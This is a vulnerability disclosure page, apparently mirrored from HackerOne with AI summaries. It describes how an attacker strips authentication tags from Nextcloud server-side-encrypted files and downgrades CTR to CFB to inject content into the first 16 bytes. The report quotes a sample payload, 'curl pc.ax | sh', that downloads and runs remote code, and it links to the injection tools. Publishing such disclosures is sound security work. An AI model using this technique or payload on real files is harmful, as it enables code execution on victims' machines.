Downgrade encryption scheme and break integrity through known-plaintext attack
Nextcloud's server-side encryption allowed an attacker with access to encrypted files to strip authentication tags and change the cipher header from AES-256-CTR to AES-256-CFB. Because the first keystream block is identical for both modes, a known-plaintext attack could then inject malicious content into the first 16 bytes of the file, breaking integrity.
Originally disclosed on HackerOne
- Triaged in 16 days
- Fixed in 11 months
- Disclosed after 12 months
The idea behind the Server Side Encryption is that you can move your encrypted files to an external party without that external party being able to to read or modify those files. Some time ago, Nextcloud switched from unauthenticated CFB cipher block mode to authenticated CTR cipher block mode in an Encrypt-then-MAC scheme. However, backends compatibility has been maintained while downgrade attacks have been prevented on new files that use the CTR cipher block mode [1].
There is, however, one attack vector that has not been taken into account. CFB/OFB and CTR generate the same keystream for the first round, creating the possibility for a known-plaintext attack to extract the first bytes of the keystream. Furthermore, the downgrade attack only prevents files from not having a "signature" (HMAC) when their file header contain a CTR cipher. A downgrade is still possible when another mode like CFB/OFB is given in the file header.
Because of these two vulnerabilities, a downgrade attack in conjunction with a known-plaintext attack can be leveraged to break the integrity of files encrypted with Encrypt-then-MAC encryption scheme of Nextcloud using the newer AES-256-CTR cipher.
In the first step, you need access to an encrypted file (as an external storage provider would have). You do not need access to the encryption keys as this attack is directly mounted on the encrypted file itself. By using a tool (like strip-signature.php [2]), you can strip the signature elements from the content block footers and change the cipher in the file header from AES-256-CTR to AES-256-CFB. Nextcloud will happily decrypt this file, the first 16 bytes will be perfectly readable but the rest of the file will be gibberish.
In the second step, you need to know what the contents of the file will look like (known-plaintext attack). For Linux binaries this will be relative easy as the ELF file format has a predictable structure will little variation in the first 16 bytes of the file. The same holds true for Linux shell scripts that will probably have #!/bin/bash\n as the first 12 of the 16 bytes preset. The same holds true for Python scripts, which will probably start with something like #!/usr/bin/env python\n providing all the known-plaintext that the attacker will need. If you have enough knowledge about the inital content of the file you can just inject your target content into the encrypted file with the help of a little tool (like inject-content.php [3]).
With these two steps, the attacker successfully broke the integrity guarantees of the Nextcloud Server-Side Encryption and was able to inject malicious code into files that will probably be made executable by a user that has downloaded those files from the Nextcloud server. An injectable payload that fits in those 16 bytes might e.g. be curl pc.ax | sh\n which downloads additional code (without length constraints) from an external source at executes the additional payload.
[1] https://github.com/nextcloud/server/blob/a374d8837d6de459500e619cf608e0721ea14574/apps/encryption/lib/Crypto/Crypt.php#L571 [2] https://github.com/syseleven/nextcloud-tools/blob/master/strip-signature.php [3] https://github.com/syseleven/nextcloud-tools/blob/master/inject-content.php
Impact
An attacker that has access to encrypted files that have been encrypted using the newest Encrypt-than-MAC encryption scheme with AES-256-CTR can be downgraded to unauthenticated AES-256-CFB encrypted files. Those downgraded files can then be injected with malicious content in the course of a known-plaintext attack (which is practically feasible as shown with ELF binaries, Python scripts, Bash scripts, etc.). Those injected binaries can then be used to further exploit the user.
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the file header's cipher field is trusted without verifying that the authentication tag matches the declared cipher, and CFB/OFB and CTR share the same first keystream block, enabling a known-plaintext attack.
Impact
An attacker with access to encrypted files could downgrade them and inject malicious code into the first 16 bytes, potentially leading to code execution when a user downloads and runs the file.
What the attacker needed
Access to encrypted files; knowledge of first 16 bytes of plaintext
How it was found
- Obtain access to an encrypted file, as an external storage provider would have.
- Strip the signature elements from the content block footers and change the cipher in the file header from AES-256-CTR to AES-256-CFB.
- Know or guess the first 16 bytes of the plaintext (e.g., from ELF headers, shell script shebangs, or Python shebangs).
- Inject the target content into the encrypted file using the known plaintext.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Nextcloud encrypts files so that someone storing them (like a cloud provider) cannot read or change them. The report shows that an attacker who can see the encrypted file can remove a security check and switch the encryption mode to an older one. Because the first part of the encrypted data is generated the same way in both modes, the attacker can guess the original content and replace the first few bytes with malicious commands.
What is Crypto?
Encryption, signatures, randomness or certificate checks that do not protect what they claim to.